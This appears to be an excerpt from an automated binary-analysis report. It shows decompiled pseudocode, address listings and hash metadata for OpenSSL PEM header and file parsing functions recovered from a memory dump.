                                                                • Instruction Fuzzy Hash: B2D02B7B4000015AEE02DE34EC51E22B391F3E1B24F85DD1CF041E2114D338C61C8221
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 97%
                                                                			E00ACBE70(void* __ebx, void* __ecx, void* __edi, char _a4, intOrPtr* _a8) {
                                                                				intOrPtr _t9;
                                                                				void* _t10;
                                                                				char* _t15;
                                                                				char* _t18;
                                                                				void* _t19;
                                                                				char* _t20;
                                                                				void* _t22;
                                                                				char* _t25;
                                                                				void* _t26;
                                                                				signed int _t27;
                                                                				intOrPtr _t50;
                                                                				char* _t55;
                                                                				intOrPtr* _t60;
                                                                				void* _t61;
                                                                				intOrPtr* _t62;
                                                                				intOrPtr* _t63;
                                                                				void* _t64;
                                                                				void* _t65;
                                                                				void* _t66;
                                                                				void* _t68;
                                                                				void* _t69;
                                                                				void* _t70;
                                                                				char* _t71;
                                                                				intOrPtr* _t72;
                                                                				intOrPtr* _t73;
                                                                				void* _t75;
                                                                				void* _t76;
                                                                				void* _t77;
                                                                				void* _t78;
                                                                
                                                                				_t53 = __edi;
                                                                				_t73 = _a8;
                                                                				_t60 = _a4;
                                                                				 *_t73 = 0;
                                                                				if(_t60 == 0) {
                                                                					L25:
                                                                					return 1;
                                                                				} else {
                                                                					_t9 =  *_t60;
                                                                					if(_t9 == 0 || _t9 == 0xa) {
                                                                						goto L25;
                                                                					} else {
                                                                						_t10 = E00B8B55B(__ecx, _t60, "Proc-Type:", 0xa);
                                                                						_t76 = _t75 + 0xc;
                                                                						if(_t10 == 0) {
                                                                							_t61 = _t60 + 0xa;
                                                                							_t62 = _t61 + E00B8DAD0(__ecx, _t61, " \t");
                                                                							_t77 = _t76 + 8;
                                                                							_t63 = _t62 + 1;
                                                                							__eflags =  *_t62 - 0x34;
                                                                							if( *_t62 != 0x34) {
                                                                								goto L5;
                                                                							} else {
                                                                								_t48 =  *_t63;
                                                                								_t64 = _t63 + 1;
                                                                								__eflags =  *_t63 - 0x2c;
                                                                								if( *_t63 != 0x2c) {
                                                                									goto L5;
                                                                								} else {
                                                                									_t65 = _t64 + E00B8DAD0(_t48, _t64, " \t");
                                                                									_t15 = E00B8B55B(_t48, _t65, "ENCRYPTED", 9);
                                                                									_t78 = _t77 + 0x14;
                                                                									__eflags = _t15;
                                                                									if(_t15 != 0) {
                                                                										L24:
                                                                										E00AB8310(_t53, 9, 0x6b, 0x6a, "crypto\\pem\\pem_lib.c", 0x1ec);
                                                                										__eflags = 0;
                                                                										return 0;
                                                                									} else {
                                                                										_t66 = _t65 + 9;
                                                                										_t18 = E00B8DAD0(_t48, _t66, " \t\r\n");
                                                                										_t78 = _t78 + 8;
                                                                										__eflags = _t18;
                                                                										if(_t18 == 0) {
                                                                											goto L24;
                                                                										} else {
                                                                											_t19 = E00B8DAD0(_t48, _t66, " \t\r");
                                                                											_t68 = _t66 + _t19 + 1;
                                                                											__eflags =  *((intOrPtr*)(_t66 + _t19)) - 0xa;
                                                                											if( *((intOrPtr*)(_t66 + _t19)) == 0xa) {
                                                                												_t20 = E00B8B55B(_t48, _t68, "DEK-Info:", 9);
                                                                												__eflags = _t20;
                                                                												if(_t20 == 0) {
                                                                													_push(__edi);
                                                                													_t69 = _t68 + 9;
                                                                													_t70 = _t69 + E00B8DAD0(_t48, _t69, " \t");
                                                                													_t22 = E00B8DA80(_t48, _t70, " \t,");
                                                                													_t71 = _t70 + _t22;
                                                                													 *_t71 = 0;
                                                                													_t55 = E00AE0D50(_t70, _t70);
                                                                													 *_t73 = _t55;
                                                                													 *_t71 =  *((intOrPtr*)(_t70 + _t22));
                                                                													_t72 = _t71 + E00B8DAD0(_t48, _t71, " \t");
                                                                													_a4 = _t72;
                                                                													__eflags = _t55;
                                                                													if(_t55 != 0) {
                                                                														_t25 = E00AB7400(_t55);
                                                                														__eflags = _t25;
                                                                														if(__eflags <= 0) {
                                                                															L20:
                                                                															if(__eflags != 0) {
                                                                																L23:
                                                                																_t26 = E00AB7400(_t55);
                                                                																__eflags =  &_a4;
                                                                																_t27 = E00ACAC00(_t26,  &_a4,  &_a4);
                                                                																asm("sbb eax, eax");
                                                                																return  ~( ~_t27);
                                                                															} else {
                                                                																__eflags =  *_t72 - 0x2c;
                                                                																if( *_t72 != 0x2c) {
                                                                																	goto L23;
                                                                																} else {
                                                                																	E00AB8310(_t55, 9, 0x6b, 0x82, "crypto\\pem\\pem_lib.c", 0x216);
                                                                																	__eflags = 0;
                                                                																	return 0;
                                                                																}
                                                                															}
                                                                														} else {
                                                                															_t50 =  *_t72;
                                                                															_t72 = _t72 + 1;
                                                                															_a4 = _t72;
                                                                															__eflags = _t50 - 0x2c;
                                                                															if(_t50 == 0x2c) {
                                                                																__eflags = _t25;
                                                                																goto L20;
                                                                															} else {
                                                                																E00AB8310(_t55, 9, 0x6b, 0x81, "crypto\\pem\\pem_lib.c", 0x213);
                                                                																__eflags = 0;
                                                                																return 0;
                                                                															}
                                                                														}
                                                                													} else {
                                                                														E00AB8310(_t55, 9, 0x6b, 0x72, "crypto\\pem\\pem_lib.c", 0x20e);
                                                                														__eflags = 0;
                                                                														return 0;
                                                                													}
                                                                												} else {
                                                                													E00AB8310(__edi, 9, 0x6b, 0x69, "crypto\\pem\\pem_lib.c", 0x1fb);
                                                                													__eflags = 0;
                                                                													return 0;
                                                                												}
                                                                											} else {
                                                                												E00AB8310(__edi, 9, 0x6b, 0x70, "crypto\\pem\\pem_lib.c", 0x1f2);
                                                                												__eflags = 0;
                                                                												return 0;
                                                                											}
                                                                										}
                                                                									}
                                                                								}
                                                                							}
                                                                						} else {
                                                                							E00AB8310(__edi, 9, 0x6b, 0x6b, "crypto\\pem\\pem_lib.c", 0x1df);
                                                                							L5:
                                                                							return 0;
                                                                						}
                                                                					}
                                                                				}
                                                                			}
































                                                                0x00acbe70
                                                                0x00acbe71
                                                                0x00acbe76
                                                                0x00acbe7a
                                                                0x00acbe83
                                                                0x00acc0a6
                                                                0x00acc0ac
                                                                0x00acbe89
                                                                0x00acbe89
                                                                0x00acbe8d
                                                                0x00000000
                                                                0x00acbe9b
                                                                0x00acbea3
                                                                0x00acbea8
                                                                0x00acbead
                                                                0x00acbecc
                                                                0x00acbeda
                                                                0x00acbede
                                                                0x00acbee1
                                                                0x00acbee2
                                                                0x00acbee4
                                                                0x00000000
                                                                0x00acbee6
                                                                0x00acbee6
                                                                0x00acbee8
                                                                0x00acbee9
                                                                0x00acbeec
                                                                0x00000000
                                                                0x00acbeee
                                                                0x00acbefb
                                                                0x00acbf03
                                                                0x00acbf08
                                                                0x00acbf0b
                                                                0x00acbf0d
                                                                0x00acc088
                                                                0x00acc098
                                                                0x00acc0a1
                                                                0x00acc0a4
                                                                0x00acbf13
                                                                0x00acbf13
                                                                0x00acbf1c
                                                                0x00acbf21
                                                                0x00acbf24
                                                                0x00acbf26
                                                                0x00000000
                                                                0x00acbf2c
                                                                0x00acbf32
                                                                0x00acbf3f
                                                                0x00acbf40
                                                                0x00acbf43
                                                                0x00acbf6a
                                                                0x00acbf72
                                                                0x00acbf74
                                                                0x00acbf94
                                                                0x00acbf95
                                                                0x00acbfa3
                                                                0x00acbfad
                                                                0x00acbfb5
                                                                0x00acbfb8
                                                                0x00acbfc0
                                                                0x00acbfc7
                                                                0x00acbfcb
                                                                0x00acbfd2
                                                                0x00acbfd7
                                                                0x00acbfdb
                                                                0x00acbfdd
                                                                0x00acbfff
                                                                0x00acc007
                                                                0x00acc009
                                                                0x00acc03b
                                                                0x00acc03b
                                                                0x00acc064
                                                                0x00acc065
                                                                0x00acc06a
                                                                0x00acc075
                                                                0x00acc081
                                                                0x00acc087
                                                                0x00acc03d
                                                                0x00acc03d
                                                                0x00acc040
                                                                0x00000000
                                                                0x00acc042
                                                                0x00acc055
                                                                0x00acc060
                                                                0x00acc063
                                                                0x00acc063
                                                                0x00acc040
                                                                0x00acc00b
                                                                0x00acc00b
                                                                0x00acc00d
                                                                0x00acc00e
                                                                0x00acc012
                                                                0x00acc015
                                                                0x00acc039
                                                                0x00000000
                                                                0x00acc017
                                                                0x00acc02a
                                                                0x00acc035
                                                                0x00acc038
                                                                0x00acc038
                                                                0x00acc015
                                                                0x00acbfdf
                                                                0x00acbfef
                                                                0x00acbffa
                                                                0x00acbffd
                                                                0x00acbffd
                                                                0x00acbf76
                                                                0x00acbf86
                                                                0x00acbf8f
                                                                0x00acbf92
                                                                0x00acbf92
                                                                0x00acbf45
                                                                0x00acbf55
                                                                0x00acbf5e
                                                                0x00acbf61
                                                                0x00acbf61
                                                                0x00acbf43
                                                                0x00acbf26
                                                                0x00acbf0d
                                                                0x00acbeec
                                                                0x00acbeaf
                                                                0x00acbebf
                                                                0x00acbec8
                                                                0x00acbecb
                                                                0x00acbecb
                                                                0x00acbead
                                                                0x00acbe8d

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _strspn$_strncmp
                                                                • String ID: $ $ ,$DEK-Info:$ENCRYPTED$Proc-Type:$crypto\pem\pem_lib.c
                                                                • API String ID: 2057175535-2412464277
                                                                • Opcode ID: 4e746b3093ee36940f42f01d75479df23b6f193dc266a4801416ae264686d518
                                                                • Instruction ID: 2cfa9df73f6fbbc0e2cb8b68db89ce220d9720ca7927f6ec3e780af9b6731f9a
                                                                • Opcode Fuzzy Hash: 4e746b3093ee36940f42f01d75479df23b6f193dc266a4801416ae264686d518
                                                                • Instruction Fuzzy Hash: 1251F8B6B8C75439F221366C6C13FEB66C84B61F14F0948A9FE4CF92D3F786855182A1
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 62%
                                                                			E00ACAF10(void* __edi, void* __esi, void* __ebp, intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, char _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, char _a44, char _a48, char _a57, char _a59, char _a302, signed int _a304, intOrPtr _a312, intOrPtr* _a316, intOrPtr* _a320, intOrPtr* _a324, intOrPtr* _a328) {
                                                                				char _v0;
                                                                				void* __ebx;
                                                                				signed int _t137;
                                                                				intOrPtr _t141;
                                                                				intOrPtr* _t144;
                                                                				intOrPtr _t150;
                                                                				void* _t152;
                                                                				void* _t154;
                                                                				void* _t155;
                                                                				intOrPtr* _t156;
                                                                				void* _t159;
                                                                				void* _t160;
                                                                				void* _t164;
                                                                				void* _t166;
                                                                				intOrPtr _t168;
                                                                				intOrPtr* _t169;
                                                                				void* _t171;
                                                                				void* _t173;
                                                                				void* _t174;
                                                                				intOrPtr _t176;
                                                                				void* _t177;
                                                                				void* _t179;
                                                                				intOrPtr _t181;
                                                                				void* _t188;
                                                                				char _t189;
                                                                				void* _t190;
                                                                				void* _t194;
                                                                				void* _t195;
                                                                				void* _t199;
                                                                				void* _t200;
                                                                				intOrPtr _t215;
                                                                				intOrPtr _t218;
                                                                				void* _t237;
                                                                				void* _t241;
                                                                				char _t256;
                                                                				void* _t257;
                                                                				intOrPtr* _t261;
                                                                				void* _t262;
                                                                				void* _t263;
                                                                				intOrPtr _t264;
                                                                				void* _t265;
                                                                				intOrPtr _t266;
                                                                				void* _t267;
                                                                				intOrPtr _t268;
                                                                				void* _t271;
                                                                				void* _t272;
                                                                				void* _t273;
                                                                				void* _t274;
                                                                				void* _t275;
                                                                				intOrPtr _t277;
                                                                				signed int _t278;
                                                                				signed int _t279;
                                                                				void* _t281;
                                                                				void* _t282;
                                                                				void* _t283;
                                                                				void* _t284;
                                                                
                                                                				E00B8BB10(0x134);
                                                                				_t137 =  *0xbe5970; // 0xe6e1d076
                                                                				_a304 = _t137 ^ _t278;
                                                                				_t234 = _a324;
                                                                				_a36 = _a316;
                                                                				_t277 = _a312;
                                                                				_a28 = _a320;
                                                                				_a32 = _a324;
                                                                				_a40 = _a328;
                                                                				_t141 = E00AE03F0();
                                                                				_t208 = 0;
                                                                				_a16 = _t141;
                                                                				_a20 = 0;
                                                                				_v0 = 0;
                                                                				_a24 = 0;
                                                                				if(_t141 != 0) {
                                                                					_push(__esi);
                                                                					_push(__edi);
                                                                					_t256 = E00AC97E0(0, __edi);
                                                                					_a12 = _t256;
                                                                					_t261 = E00AC97E0(0, _t256);
                                                                					_a8 = _t261;
                                                                					_t144 = E00AC97E0(0, _t256);
                                                                					_a4 = _t144;
                                                                					if(_t256 == 0 || _t261 == 0 || _t144 == 0) {
                                                                						L63:
                                                                						E00AC9810(_t208, _t256, _t277, _a12);
                                                                						_t235 = _a8;
                                                                						E00AC9810(_t208, _t256, _t277, _a8);
                                                                						E00AC9810(_t208, _t256, _t277, _a4);
                                                                						E00AE0410(_a16);
                                                                						_t279 = _t278 + 0x10;
                                                                						_t150 = 0;
                                                                					} else {
                                                                						_t214 =  &_a48;
                                                                						_a302 = 0;
                                                                						_t152 = E00AB5290(0, _t256, _t277, _t277,  &_a48, 0xfe);
                                                                						_t281 = _t278 + 0xc;
                                                                						if(_t152 <= 0) {
                                                                							L13:
                                                                							_push(0x2b3);
                                                                							_push("crypto\\pem\\pem_lib.c");
                                                                							_push(0x6c);
                                                                							goto L62;
                                                                						} else {
                                                                							do {
                                                                								while( *((char*)(_t281 + _t152 + 0x40)) <= 0x20) {
                                                                									_t152 = _t152 - 1;
                                                                									if(_t152 >= 0) {
                                                                										continue;
                                                                									}
                                                                									break;
                                                                								}
                                                                								_t154 = _t152 + 1;
                                                                								 *((char*)(_t281 + _t154 + 0x48)) = 0xa;
                                                                								 *((char*)(_t281 + _t154 + 0x4d)) = _t208;
                                                                								_t155 = E00B8B55B(_t214,  &_a48, "-----BEGIN ", 0xb);
                                                                								_t282 = _t281 + 0xc;
                                                                								if(_t155 != 0) {
                                                                									goto L12;
                                                                								} else {
                                                                									_t156 =  &_a59;
                                                                									_t237 = _t156 + 1;
                                                                									do {
                                                                										_t215 =  *_t156;
                                                                										_t156 = _t156 + 1;
                                                                									} while (_t215 != _t208);
                                                                									_t263 = _t156 - _t237;
                                                                									_t159 = E00B8B55B(_t215, _t282 + _t263 + 0x49, "-----\n", 6);
                                                                									_t282 = _t282 + 0xc;
                                                                									if(_t159 == 0) {
                                                                										_t160 = E00AC98C0(_t277, _t256, _t263 + 9);
                                                                										_t281 = _t282 + 8;
                                                                										if(_t160 != 0) {
                                                                											E00B8B7A0(_t208, _t256, _t263,  *((intOrPtr*)(_t256 + 4)),  &_a59, _t263 - 6);
                                                                											 *((char*)( *((intOrPtr*)(_t256 + 4)) + _t263 - 6)) = _t208;
                                                                											_t264 = _a8;
                                                                											_t256 = 0;
                                                                											_t164 = E00AC98C0(_t277, _t264, 0x100);
                                                                											_t281 = _t281 + 0x14;
                                                                											if(_t164 != 0) {
                                                                												 *((char*)( *((intOrPtr*)(_t264 + 4)))) = _t208;
                                                                												_t265 = E00AB5290(_t208, 0, _t277, _t277,  &_a48, 0xfe);
                                                                												_t283 = _t281 + 0xc;
                                                                												if(_t265 <= _t208) {
                                                                													L28:
                                                                													_t266 = _a4;
                                                                													_v0 = _t208;
                                                                													_t166 = E00AC98C0(_t277, _t266, 0x400);
                                                                													_t281 = _t283 + 8;
                                                                													if(_t166 != 0) {
                                                                														 *((char*)( *((intOrPtr*)(_t266 + 4)))) = _t208;
                                                                														if(_a24 != _t208) {
                                                                															_t168 = _a8;
                                                                															_v0 = _t256;
                                                                															_a8 = _t266;
                                                                															_a4 = _t168;
                                                                															_t256 = _t168;
                                                                														} else {
                                                                															_t224 =  &_a48;
                                                                															_t271 = E00AB5290(_t208, _t256, _t277, _t277,  &_a48, 0xfe);
                                                                															_t281 = _t281 + 0xc;
                                                                															if(_t271 <= _t208) {
                                                                																L49:
                                                                																_t256 = _a4;
                                                                															} else {
                                                                																do {
                                                                																	while( *((char*)(_t281 + _t271 + 0x40)) <= 0x20) {
                                                                																		_t271 = _t271 - 1;
                                                                																		if(_t271 >= 0) {
                                                                																			continue;
                                                                																		}
                                                                																		break;
                                                                																	}
                                                                																	_t272 = _t271 + 1;
                                                                																	 *((char*)(_t281 + _t272 + 0x40)) = 0xa;
                                                                																	_t273 = _t272 + 1;
                                                                																	 *((char*)(_t281 + _t273 + 0x40)) = _t208;
                                                                																	if(_t273 != 0x41) {
                                                                																		_a20 = 1;
                                                                																	}
                                                                																	_t188 = E00B8B55B(_t224,  &_a48, "-----END ", 9);
                                                                																	_t281 = _t281 + 0xc;
                                                                																	if(_t188 == 0 || _t273 > 0x41) {
                                                                																		goto L49;
                                                                																	} else {
                                                                																		_t189 = _v0;
                                                                																		_t256 = _a4;
                                                                																		_t78 = _t189 + 9; // 0xb
                                                                																		_t190 = E00AC99A0(_t277, _t256, _t273 + _t78);
                                                                																		_t281 = _t281 + 8;
                                                                																		if(_t190 == 0) {
                                                                																			_push(0x301);
                                                                																			_push("crypto\\pem\\pem_lib.c");
                                                                																			_push(0x41);
                                                                																			goto L62;
                                                                																		} else {
                                                                																			E00B8B7A0(_t208, _t256, _t273,  *((intOrPtr*)(_t256 + 4)) + _v0,  &_a48, _t273);
                                                                																			_t224 =  *((intOrPtr*)(_t256 + 4)) + _t273;
                                                                																			_t284 = _t281 + 0xc;
                                                                																			 *((char*)( *((intOrPtr*)(_t256 + 4)) + _t273 + _v0)) = _t208;
                                                                																			_v0 = _v0 + _t273;
                                                                																			_push(0xfe);
                                                                																			if(_a20 != _t208) {
                                                                																				_push( &_a48);
                                                                																				_push(_t277);
                                                                																				_a48 = _t208;
                                                                																				_t194 = E00AB5290(_t208, _t256, _t277);
                                                                																				_t281 = _t284 + 0xc;
                                                                																				if(_t194 > _t208) {
                                                                																					while( *((char*)(_t281 + _t194 + 0x40)) <= 0x20) {
                                                                																						_t194 = _t194 - 1;
                                                                																						if(_t194 >= 0) {
                                                                																							continue;
                                                                																						}
                                                                																						break;
                                                                																					}
                                                                																					_t195 = _t194 + 1;
                                                                																					 *((char*)(_t281 + _t195 + 0x40)) = 0xa;
                                                                																					 *((char*)(_t281 + _t195 + 0x41)) = _t208;
                                                                																				}
                                                                																				L50:
                                                                																				_t277 = _a12;
                                                                																				_t169 = _a4;
                                                                																				_t241 = _t169 + 1;
                                                                																				do {
                                                                																					_t218 =  *_t169;
                                                                																					_t169 = _t169 + 1;
                                                                																				} while (_t218 != _t208);
                                                                																				_t267 = _t169 - _t241;
                                                                																				_t171 = E00B8B55B(_t218,  &_a48, "-----END ", 9);
                                                                																				_t281 = _t281 + 0xc;
                                                                																				if(_t171 != 0) {
                                                                																					L61:
                                                                																					_push(0x31f);
                                                                																					_push("crypto\\pem\\pem_lib.c");
                                                                																					_push(0x66);
                                                                																					goto L62;
                                                                																				} else {
                                                                																					_t219 = _a4;
                                                                																					_t173 = E00B8B55B(_a4, _a4,  &_a57, _t267);
                                                                																					_t281 = _t281 + 0xc;
                                                                																					if(_t173 != 0) {
                                                                																						goto L61;
                                                                																					} else {
                                                                																						_t174 = E00B8B55B(_t219, _t281 + _t267 + 0x4d, "-----\n", 6);
                                                                																						_t281 = _t281 + 0xc;
                                                                																						if(_t174 != 0) {
                                                                																							goto L61;
                                                                																						} else {
                                                                																							_t268 = _a16;
                                                                																							E00AE0540(_t268);
                                                                																							_t176 =  *((intOrPtr*)(_t256 + 4));
                                                                																							_push(_v0);
                                                                																							_push(_t176);
                                                                																							_push( &_v0);
                                                                																							_push(_t176);
                                                                																							_push(_t268);
                                                                																							_t177 = E00AE0890();
                                                                																							_t281 = _t281 + 0x18;
                                                                																							if(_t177 >= 0) {
                                                                																								_t179 = E00AE06B0(_t268,  *((intOrPtr*)(_t256 + 4)) + _v0,  &_a44);
                                                                																								_t278 = _t281 + 0xc;
                                                                																								if(_t179 >= 0) {
                                                                																									_t181 = _v0 + _a44;
                                                                																									_v0 = _t181;
                                                                																									if(_t181 == 0) {
                                                                																										goto L63;
                                                                																									} else {
                                                                																										_t208 = _a32;
                                                                																										 *_a36 =  *((intOrPtr*)(_t277 + 4));
                                                                																										 *_a28 =  *((intOrPtr*)(_a8 + 4));
                                                                																										_push(0x338);
                                                                																										 *_a32 =  *((intOrPtr*)(_a4 + 4));
                                                                																										_t235 = _a40;
                                                                																										_push("crypto\\pem\\pem_lib.c");
                                                                																										 *_a40 = _t181;
                                                                																										E00AC3490(_t277);
                                                                																										_push(0x339);
                                                                																										_push("crypto\\pem\\pem_lib.c");
                                                                																										E00AC3490(_a8);
                                                                																										_push(0x33a);
                                                                																										_push("crypto\\pem\\pem_lib.c");
                                                                																										E00AC3490(_a4);
                                                                																										E00AE0410(_a16);
                                                                																										_t279 = _t278 + 0x28;
                                                                																										_t150 = 1;
                                                                																									}
                                                                																								} else {
                                                                																									_push(0x32d);
                                                                																									_push("crypto\\pem\\pem_lib.c");
                                                                																									_push(0x64);
                                                                																									goto L62;
                                                                																								}
                                                                																							} else {
                                                                																								_push(0x328);
                                                                																								_push("crypto\\pem\\pem_lib.c");
                                                                																								_push(0x64);
                                                                																								goto L62;
                                                                																							}
                                                                																						}
                                                                																					}
                                                                																				}
                                                                																			} else {
                                                                																				goto L40;
                                                                																			}
                                                                																		}
                                                                																	}
                                                                																	goto L64;
                                                                																	L40:
                                                                																	_push( &_a48);
                                                                																	_push(_t277);
                                                                																	_t271 = E00AB5290(_t208, _t256, _t277);
                                                                																	_t281 = _t284 + 0xc;
                                                                																} while (_t271 > _t208);
                                                                															}
                                                                														}
                                                                														goto L50;
                                                                													} else {
                                                                														_push(0x2eb);
                                                                														_push("crypto\\pem\\pem_lib.c");
                                                                														_push(0x41);
                                                                														goto L62;
                                                                													}
                                                                												} else {
                                                                													do {
                                                                														while( *((char*)(_t283 + _t265 + 0x40)) <= 0x20) {
                                                                															_t265 = _t265 - 1;
                                                                															if(_t265 >= 0) {
                                                                																continue;
                                                                															}
                                                                															break;
                                                                														}
                                                                														_t274 = _t265 + 1;
                                                                														 *((char*)(_t283 + _t274 + 0x40)) = 0xa;
                                                                														_t275 = _t274 + 1;
                                                                														 *((char*)(_t283 + _t275 + 0x40)) = _t208;
                                                                														if(_a48 == 0xa) {
                                                                															goto L28;
                                                                														} else {
                                                                															_t228 = _a8;
                                                                															_t52 = _t256 + 9; // 0xa
                                                                															_t199 = E00AC98C0(_t277, _a8, _t275 + _t52);
                                                                															_t281 = _t283 + 8;
                                                                															if(_t199 == 0) {
                                                                																_push(0x2dd);
                                                                																_push("crypto\\pem\\pem_lib.c");
                                                                																_push(0x41);
                                                                																goto L62;
                                                                															} else {
                                                                																_t200 = E00B8B55B(_t228,  &_a48, "-----END ", 9);
                                                                																_t283 = _t281 + 0xc;
                                                                																if(_t200 == 0) {
                                                                																	_a24 = 1;
                                                                																	goto L28;
                                                                																} else {
                                                                																	goto L24;
                                                                																}
                                                                															}
                                                                														}
                                                                														goto L64;
                                                                														L24:
                                                                														E00B8B7A0(_t208, _t256, _t275,  *((intOrPtr*)(_a8 + 4)) + _t256,  &_a48, _t275);
                                                                														 *((char*)( *((intOrPtr*)(_a8 + 4)) + _t275 + _t256)) = _t208;
                                                                														_t256 = _t256 + _t275;
                                                                														_t265 = E00AB5290(_t208, _t256, _t277, _t277,  &_a48, 0xfe);
                                                                														_t283 = _t283 + 0x18;
                                                                													} while (_t265 > _t208);
                                                                													goto L28;
                                                                												}
                                                                											} else {
                                                                												_push(0x2cc);
                                                                												_push("crypto\\pem\\pem_lib.c");
                                                                												_push(0x41);
                                                                												goto L62;
                                                                											}
                                                                										} else {
                                                                											_push(0x2c2);
                                                                											_push("crypto\\pem\\pem_lib.c");
                                                                											_push(0x41);
                                                                											L62:
                                                                											_push(0x6d);
                                                                											_push(9);
                                                                											E00AB8310(_t256);
                                                                											_t278 = _t281 + 0x14;
                                                                											goto L63;
                                                                										}
                                                                									} else {
                                                                										goto L12;
                                                                									}
                                                                								}
                                                                								goto L64;
                                                                								L12:
                                                                								_t214 =  &_a48;
                                                                								_t152 = E00AB5290(_t208, _t256, _t277, _t277,  &_a48, 0xfe);
                                                                								_t281 = _t282 + 0xc;
                                                                							} while (_t152 > _t208);
                                                                							goto L13;
                                                                						}
                                                                					}
                                                                					L64:
                                                                					_pop(_t257);
                                                                					_pop(_t262);
                                                                					return E00B89C26(_t150, _t208, _a304 ^ _t279, _t235, _t257, _t262);
                                                                				} else {
                                                                					E00AB8310(__edi, 9, 0x6d, 0x41, "crypto\\pem\\pem_lib.c", 0x2a3);
                                                                					return E00B89C26(0, 0, _a304 ^ _t278 + 0x00000014, _t234, __edi, __esi);
                                                                				}
                                                                			}



























































                                                                0x00acaf15
                                                                0x00acaf1a
                                                                0x00acaf21
                                                                0x00acaf36
                                                                0x00acaf3d
                                                                0x00acaf4a
                                                                0x00acaf51
                                                                0x00acaf55
                                                                0x00acaf59
                                                                0x00acaf5d
                                                                0x00acaf62
                                                                0x00acaf64
                                                                0x00acaf68
                                                                0x00acaf6c
                                                                0x00acaf70
                                                                0x00acaf76
                                                                0x00acafa9
                                                                0x00acafaa
                                                                0x00acafb0
                                                                0x00acafb2
                                                                0x00acafbb
                                                                0x00acafbd
                                                                0x00acafc1
                                                                0x00acafc6
                                                                0x00acafcc
                                                                0x00acb478
                                                                0x00acb47d
                                                                0x00acb482
                                                                0x00acb487
                                                                0x00acb491
                                                                0x00acb49b
                                                                0x00acb4a0
                                                                0x00acb4a3
                                                                0x00acafe2
                                                                0x00acafe7
                                                                0x00acafed
                                                                0x00acaff4
                                                                0x00acaff9
                                                                0x00acaffe
                                                                0x00acb06f
                                                                0x00acb06f
                                                                0x00acb074
                                                                0x00acb079
                                                                0x00000000
                                                                0x00acb000
                                                                0x00acb000
                                                                0x00acb000
                                                                0x00acb007
                                                                0x00acb00a
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb00a
                                                                0x00acb00e
                                                                0x00acb018
                                                                0x00acb01e
                                                                0x00acb022
                                                                0x00acb027
                                                                0x00acb02c
                                                                0x00000000
                                                                0x00acb02e
                                                                0x00acb02e
                                                                0x00acb032
                                                                0x00acb035
                                                                0x00acb035
                                                                0x00acb037
                                                                0x00acb038
                                                                0x00acb03e
                                                                0x00acb04c
                                                                0x00acb051
                                                                0x00acb056
                                                                0x00acb085
                                                                0x00acb08a
                                                                0x00acb08f
                                                                0x00acb0af
                                                                0x00acb0b7
                                                                0x00acb0bb
                                                                0x00acb0c5
                                                                0x00acb0c7
                                                                0x00acb0cc
                                                                0x00acb0d1
                                                                0x00acb0f2
                                                                0x00acb0f9
                                                                0x00acb0fb
                                                                0x00acb100
                                                                0x00acb1b1
                                                                0x00acb1b1
                                                                0x00acb1bb
                                                                0x00acb1bf
                                                                0x00acb1c4
                                                                0x00acb1c9
                                                                0x00acb1df
                                                                0x00acb1e5
                                                                0x00acb2f8
                                                                0x00acb2fc
                                                                0x00acb300
                                                                0x00acb304
                                                                0x00acb308
                                                                0x00acb1eb
                                                                0x00acb1f0
                                                                0x00acb1fb
                                                                0x00acb1fd
                                                                0x00acb202
                                                                0x00acb30c
                                                                0x00acb30c
                                                                0x00acb208
                                                                0x00acb208
                                                                0x00acb208
                                                                0x00acb20f
                                                                0x00acb212
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb212
                                                                0x00acb214
                                                                0x00acb215
                                                                0x00acb21a
                                                                0x00acb21b
                                                                0x00acb222
                                                                0x00acb224
                                                                0x00acb224
                                                                0x00acb238
                                                                0x00acb23d
                                                                0x00acb242
                                                                0x00000000
                                                                0x00acb251
                                                                0x00acb251
                                                                0x00acb255
                                                                0x00acb259
                                                                0x00acb25f
                                                                0x00acb264
                                                                0x00acb269
                                                                0x00acb2b6
                                                                0x00acb2bb
                                                                0x00acb2c0
                                                                0x00000000
                                                                0x00acb26b
                                                                0x00acb279
                                                                0x00acb285
                                                                0x00acb287
                                                                0x00acb28a
                                                                0x00acb28d
                                                                0x00acb291
                                                                0x00acb29a
                                                                0x00acb2cb
                                                                0x00acb2cc
                                                                0x00acb2cd
                                                                0x00acb2d1
                                                                0x00acb2d6
                                                                0x00acb2db
                                                                0x00acb2e0
                                                                0x00acb2e7
                                                                0x00acb2ea
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb2ea
                                                                0x00acb2ec
                                                                0x00acb2ed
                                                                0x00acb2f2
                                                                0x00acb2f2
                                                                0x00acb310
                                                                0x00acb310
                                                                0x00acb314
                                                                0x00acb317
                                                                0x00acb320
                                                                0x00acb320
                                                                0x00acb322
                                                                0x00acb323
                                                                0x00acb335
                                                                0x00acb337
                                                                0x00acb33c
                                                                0x00acb341
                                                                0x00acb460
                                                                0x00acb460
                                                                0x00acb465
                                                                0x00acb46a
                                                                0x00000000
                                                                0x00acb347
                                                                0x00acb347
                                                                0x00acb351
                                                                0x00acb356
                                                                0x00acb35b
